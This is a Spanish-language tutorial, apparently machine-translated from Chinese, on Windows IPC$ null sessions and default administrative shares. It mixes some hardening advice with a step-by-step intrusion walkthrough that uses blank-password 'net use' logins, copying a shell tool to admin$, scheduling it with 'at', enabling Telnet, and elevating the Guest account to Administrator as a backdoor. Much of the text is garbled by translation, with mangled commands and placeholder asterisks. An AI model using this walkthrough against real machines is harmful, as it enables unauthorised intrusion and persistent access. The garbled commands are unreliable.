¿Qué significa IPC?
Qué es ipc$
IPC$ (Internet Process Connection) es un recurso que disfruta de "canalizaciones con nombre" (eso es lo que todo el mundo dice). Es una canalización con nombre abierta para la comunicación entre procesos. Puede obtener los permisos correspondientes verificando el nombre de usuario y la contraseña, y puede usarse para administrar la computadora de forma remota y ver los recursos compartidos de la computadora.
Utilizando IPC$, el conector puede incluso establecer una conexión vacía con el host de destino sin un nombre de usuario y contraseña (por supuesto, la otra máquina debe habilitar ipc$***, de lo contrario no podrá conectarse), y pasar Con esta conexión vacía, el conector también puede obtener la lista de usuarios en el host de destino (aunque el administrador responsable deshabilitará la exportación de la lista de usuarios).
Siempre hablamos de vulnerabilidades de ipc$. De hecho, la vulnerabilidad ipc$ no es una vulnerabilidad real. Esta es una función de inicio de sesión remoto en la red, que se abre para facilitar la administración remota por parte de los administradores. También abre el disfrute * * * predeterminado, es decir, todos los discos lógicos (C$, D$, E$)...) y el directorio del sistema winnt o windows(admin$).
La intención original de todo esto es facilitar la gestión del administrador, pero las buenas intenciones originales pueden no necesariamente tener buenos resultados para algunas personas con motivos ocultos (¿cuál es la intención? No lo sé, el pronombre uno. ) utilizará recursos de IPC$ Access * * *, exportará listas de usuarios y utilizará algunas herramientas de diccionario para detectar contraseñas con la esperanza de obtener mayores permisos para lograr motivos ocultos.
Preguntas respondidas:
1) La conexión IPC es una función única de inicio de sesión remoto en la red en Windows NT y superior, y su función es equivalente a Telnet en Unix. Dado que la función IPC$ requiere muchas funciones DLL de Windows NT, no se ejecutará en Windows 9.x.
En otras palabras, sólo nt/2000/xp puede establecer una conexión ipc$, pero 98/me no (pero un amigo dijo que se puede establecer una conexión vacía bajo 98. No sé si es cierto o no, pero ahora estamos en 2003, así que sugerí que el camarada 98 cambiara el sistema, lo que hizo que 98 se sintiera muy descontento).
2) Incluso si la conexión está vacía, no se puede establecer con éxito al 100%. Si la otra parte cierra ipc$***, aún no podrá establecer una conexión.
3) Esto no significa que pueda ver la lista de usuarios de la otra parte después de establecer una conexión ipc$, porque el administrador puede prohibir la exportación de la lista de usuarios.
En segundo lugar, la función de establecer una conexión ipc$ en los ataques de piratas informáticos
Como se mencionó anteriormente, incluso si establece una conexión vacía, puede obtener mucha información (esto es muy importante en una intrusión) A menudo indispensable) y disfrutar de parte de la información. Si puede iniciar sesión como usuario con permisos específicos, obtendrá los permisos correspondientes. Evidentemente, si has iniciado sesión como administrador, oye, no hace falta que te diga nada más, puedes hacer lo que quieras. !
Básicamente, se puede resumir en obtener información de destino, gestionar procesos y servicios de destino, cargar troyanos y ejecutar troyanos. Si es un servidor 2000, también puede considerar activar los servicios de terminal para un control más fácil. ¿Qué tal? maravilloso. )
Pero no te alegres demasiado, porque la contraseña del administrador no es tan fácil de conseguir. Aunque hay algunos administradores estúpidos que usan contraseñas en blanco o contraseñas retrasadas, son una minoría y ya no son lo que solían ser. A medida que aumenta la conciencia de la gente sobre la seguridad y los administradores se vuelven cada vez más cuidadosos, será cada vez más difícil obtener la contraseña del administrador: (
Por lo tanto, su mayor posibilidad en el futuro es que esté en un pequeño o Si se conecta sin permiso, gradualmente descubrirá que la conexión ipc$ no es omnipotente. Incluso si el host no abre ipc$***, no podrá conectarse en absoluto.
Así que creo que no deberías considerar la invasión del ipc$ como el arma definitiva, ni tampoco deberías pensar que es invencible. Es como pasar el balón delante de una portería en el fútbol. Rara vez es fatal, pero es indispensable. Supongo que esto es lo que significa la conexión ipc$ en la piratería.
Tres conexiones ipc$ y aéreas, puertos 139 y 445, relación de uso compartido * * * predeterminada.
La relación entre los cuatro anteriores puede ser un tema confuso para los principiantes, pero la mayoría de los artículos no lo especifican. De hecho, no los entiendo muy bien. Todo está resumido en mi comunicación con usted. (Se puede decir que un BBS con un buen ambiente de discusión es un paraíso para los novatos).
1) IPC$ y conexión vacía:
La conexión ipc$ que no requiere una El nombre de usuario y la contraseña son una conexión vacía. Una vez que haya iniciado sesión como usuario o administrador (es decir, conexión ipc$ con nombre de usuario y contraseña específicos), no se puede llamar conexión nula.
Muchas personas pueden preguntar, dado que puedo conectarme por aire, también me conectaré por aire en el futuro. ¿Por qué molestarse en buscar contraseñas débiles? Jaja, el motivo se mencionó anteriormente, cuando inicias sesión con conexión aérea, no tienes ningún permiso (muy frustrante), cuando inicias sesión como usuario o administrador, tendrás los permisos correspondientes (quién no quiere permisos, así que escaneamos honestamente, no seas perezoso).
2) IPC$ y puertos 139 y 445:
La conexión Ipc$ puede realizar inicio de sesión remoto y acceso al * * * predeterminado; la apertura del puerto 139 indica la aplicación del; protocolo netbios. Podemos acceder a archivos/impresoras a través de los puertos 139, 445 (win 2000), por lo que, en términos generales, las conexiones ipc$ requieren el puerto 139 o 445 para ser compatibles.
3) IPC$ y predeterminado * * *
El acceso predeterminado * * * está habilitado de forma predeterminada para facilitar la gestión remota por parte de los administradores (por supuesto, puede desactivarlo), es decir, Todos discos lógicos (C$, D$, E$...) y directorios del sistema winnt o windows (admin$). Podemos acceder a estos * * * derechos de acceso predeterminados a través de la conexión ipc$ (siempre que la otra parte no desactive estos * * * predeterminados).
Cuatro razones por las que falla la conexión ipc$
Las siguientes son cinco razones comunes:
1) Su sistema no es un sistema operativo NT o superior;
p>
2) La otra parte no ha abierto ipc$ default * * * para disfrutar.
3) La otra parte no abre el puerto 139 o 445 (bloqueado por el firewall).
4) La entrada de su comando es incorrecta (como faltan espacios, etc.)
5) Nombre de usuario o contraseña incorrectos (por supuesto, no importa si hay un espacio vacío conexión)
Además, también puedes analizar el motivo en función del número de error devuelto:
Error número 5, acceso denegado: Es muy probable que el usuario que estás utilizando no no tiene derechos de administrador, actualice primero los derechos
Error número 51, Windows no puede encontrar la ruta de red: hay un problema con la red;
Error número 53, no puede encontrarla; la ruta de red: la dirección IP es incorrecta; el destino no está encendido; el servicio lanmanserver de destino no está disponible Inicio; el destino tiene un firewall (filtrado de puertos);
Error número 67, nombre de red no encontrado: Su servicio lanmanworkstation no se ha iniciado. Destino eliminado IPC$;
Error número 1219. Las credenciales proporcionadas entran en conflicto con un conjunto de credenciales existente: ya tiene una relación de ipc$ con otra parte, elimínela y vuelva a intentarlo.
Error número 1326, nombre de usuario desconocido o contraseña incorrecta: el motivo es obvio;
Error No. 1792, intenté iniciar sesión, pero el servicio de inicio de sesión de red no se inició: el servicio NetLogon de destino no se inició. (Esto ocurre cuando se conecta a un controlador de dominio).
Error número 2242. La contraseña de este usuario ha caducado: el objetivo tiene una política de cuenta que fuerza cambios periódicos de contraseña.
El problema de que ipc$ no pueda conectarse es muy complicado. Además de las razones anteriores, habrá otros factores inciertos.
No puedo dar una explicación detallada y clara aquí, por lo que depende de su experiencia y experimentación.
Cómo abrir el IPC$ del objetivo (este párrafo cita artículos relacionados)
En primer lugar, necesita un shell que no dependa de ipc$, como la extensión cmd de SQL, Telnet y caballo de Troya. Por supuesto, este shell debe tener permisos de administrador y luego puede usarlo para ejecutar el comando net share ipc$ para abrir el ipc$ de destino. Como se puede ver en lo anterior, existen muchas condiciones para usar ipc$. Asegúrese de que todos los servicios relevantes estén funcionando. Si no sabe cómo iniciarlo (verifique el uso del comando net), o si no funciona (por ejemplo, hay un firewall que no se puede eliminar), se recomienda darse por vencido.
Cómo prevenir la intrusión de ipc$
1. Prohibir la enumeración de conexiones vacías (esta operación no impide el establecimiento de conexiones vacías, citado del análisis de sesiones vacías en win2000).
Primero ejecute regedit, busque el siguiente grupo [HKEY_Local_Machine\System\Current Control Set\Control\LSA] y cambie el valor clave de RestrictAnonymous = DWORD a: 00000001 (si se establece en 2, habrá algunos problemas, como problemas con algunos servicios WIN, etc.).
2 * * *El disfrute predeterminado está prohibido.
1) Ver recursos * * * locales.
Ejecutar-cmd-ingresar recurso compartido de red.
2) Eliminar * * *Disfrutar (ingrese uno a la vez)
Ipc$ de participación neta /eliminar
Tarifa de administración de participación neta/eliminar
Participación neta c yuanes/eliminar
Participación neta d$/eliminar (si hay E, F,... puedes continuar eliminando)
3) Detener el servicio del servidor
p>La red detiene el servidor/y (el servicio del servidor se reiniciará después de reiniciar)
4) Modificar el registro
Ejecutar - Editar registro
Versión del servidor: busque la siguiente clave principal [HKEY_Local_Computer\System\Current Control Set\Service\LAN Server\Parameters] y cambie el valor de la clave de AutoShareServer (DWORD) a: 00000000.
Versión profesional: busque la siguiente clave principal [HKEY_Local_Computer\System\Current Control Set\Service\LAN Server\Parameters] y cambie el valor de la clave de AutoShareWks (DWORD) a: 00000000.
Si la clave principal mencionada anteriormente no existe, cree una nueva clave principal (haga clic derecho - Nuevo - Valor de doble byte) y luego cambie el valor de la clave.
3 Cierre permanentemente ipc$ y los servicios relacionados * * * predeterminados: lanmanserver es un servicio de servidor.
Panel de control-Herramientas administrativas-Servicios-Buscar servicio de servidor (clic derecho)-Propiedades-General-Tipo de inicio-Deshabilitado.
4 Instale un firewall (seleccione la configuración relevante), filtre los puertos (filtre 139, 445, etc.) o use una nueva versión de Optimizer.
5. Establezca contraseñas complejas para evitar que se establezcan contraseñas detalladas a través de ipc$
Siete órdenes relacionadas
1) Establezca una conexión vacía:
net use \\IP\IPC $"""/user:""(Debe tenerse en cuenta que esta línea de comando contiene 3 espacios).
2) Establezca una conexión no nula:< /p >
Uso neto \\IP\ipc$"nombre de usuario"/usuario:"contraseña" (también tiene 3 espacios)
3) Mapeo predeterminado * * * Disfrute:
net use Z:\ \ IP \ C $"contraseña"/usuario:"nombre de usuario" (es decir, la unidad C de la otra parte se puede asignar a su propia unidad Z, y así sucesivamente)
Si ya lo está, si la relación ipc$ está establecida con el objetivo, puede usar IP+letra de unidad+$ para acceder directamente a él. El comando específico es net use z: \\IP\c$.
4) Eliminar una conexión ipc$
Uso de red \\IP\ipc$ /del
5) Eliminar * * * asignación compartida.
El uso neto c: /del elimina el disco C mapeado, y así sucesivamente.
Net use * /del para eliminar todo el contenido, se le pedirá que presione Y para confirmar.
Ocho modos de intrusión clásicos
Este modo de intrusión es tan clásico que la mayoría de los tutoriales de IPC lo han introducido, así que lo citaré. ¡Gracias al autor original! (No sé qué senior)
1.c:\>Uso de red\\127.0.0.1\IPC$""/user:"Manage titrator"
Este la dirección IP con "Streamer" con nombre de usuario administradores y contraseña está "vacía" (¿contraseña vacía? Vaya, buena suerte), si planeas atacar puedes usar este comando con 127.0.0.1 La conexión está establecida, la primera comilla no Es necesario ingresarlo ya que la contraseña está "vacía" y el nombre de usuario está entre las siguientes comillas dobles. Ingrese administradores y el comando se completará exitosamente.
2.c:\> Copiar srv.exe \ \ 0 0 . \ admin $
Primera copia de srv.exe, que se encuentra en el directorio Herramientas. de Streamer en (donde $ se refiere al archivo c:\winnt\system32\ del usuario administrador, también puede usar c$ y d$, que significa disco C y disco D, dependiendo de dónde desee copiarlo).
3.c:\ & gt;Tiempo neto\\127.0.0.1
Verifique la hora y descubra que la hora actual de 127.0.0.1 son las 0:00 am de marzo de 2002. .
4.c:\>At\\127.0.0.111:05 srv.exe
Utilice el comando at para iniciar srv.exe (el tiempo establecido aquí es más rápido que el host tiempo, de lo contrario, ¿cómo se puede iniciar? )
5.c:\>Tiempo neto\\127.0.0.1
Verifique nuevamente. ¿Has encontrado el tiempo? Si la hora actual de 127.0.0.1 son las 11:05 a.m. del 19/3/2002, prepárese para iniciar el siguiente comando.
6.c:\>Inicio de sesión remoto 127.0.0.1 99
Aquí se utilizará el comando Telnet. Tenga en cuenta que el puerto es 99. Telnet utiliza de forma predeterminada el puerto 23, pero usamos SRV para crear un shell del puerto 99 en otra computadora.
Aunque podemos iniciar sesión de forma remota, SRV es de un solo uso y se activará la próxima vez que iniciemos sesión. Por lo tanto, ¡configuraremos un servicio Telnet! Esto copiará ntlm.exe usando ntlm
7.c:\>\\127.0.0.1\admin$
Use el comando copiar para cargar ntlm.exe al host ( ntlm.exe también se encuentra en el directorio de herramientas de Streamer).
8.c:\WINNT\system32>ntlm
Ingrese inicio de ntlm (aquí está c:\winnt\system32》; se refiere a otra computadora. La ejecución de ntlm en realidad hace que este programa ejecutar en otra computadora). Cuando aparece "Completo", significa que ha comenzado normalmente. Luego utilice "net start Telnet" para iniciar el servicio Telnet.
9.Telnet 127.0.0.1, luego ingrese el nombre de usuario y la contraseña para ingresar a la otra parte. ¡El funcionamiento es tan sencillo como operar en DOS! Entonces, ¿qué quieres hacer? Haz lo que quieras, jaja)
Agregaremos la activación de invitados al grupo de administración por si acaso.
10.c:\>Usuario de red invitado/actividad: Sí
Activar el usuario invitado de la otra parte.
11.c:\>Usuario de red Invitado 1234
Cambie la contraseña del Invitado a 1234 o la contraseña que desee establecer.
12.c:\>net grupo local Administrador Invitado/Agregar
Cambiar invitado a Administrador^_^ (si se cambió la contraseña del administrador y la cuenta de invitado no se cambió, podremos acceder a esta máquina nuevamente como invitados la próxima vez).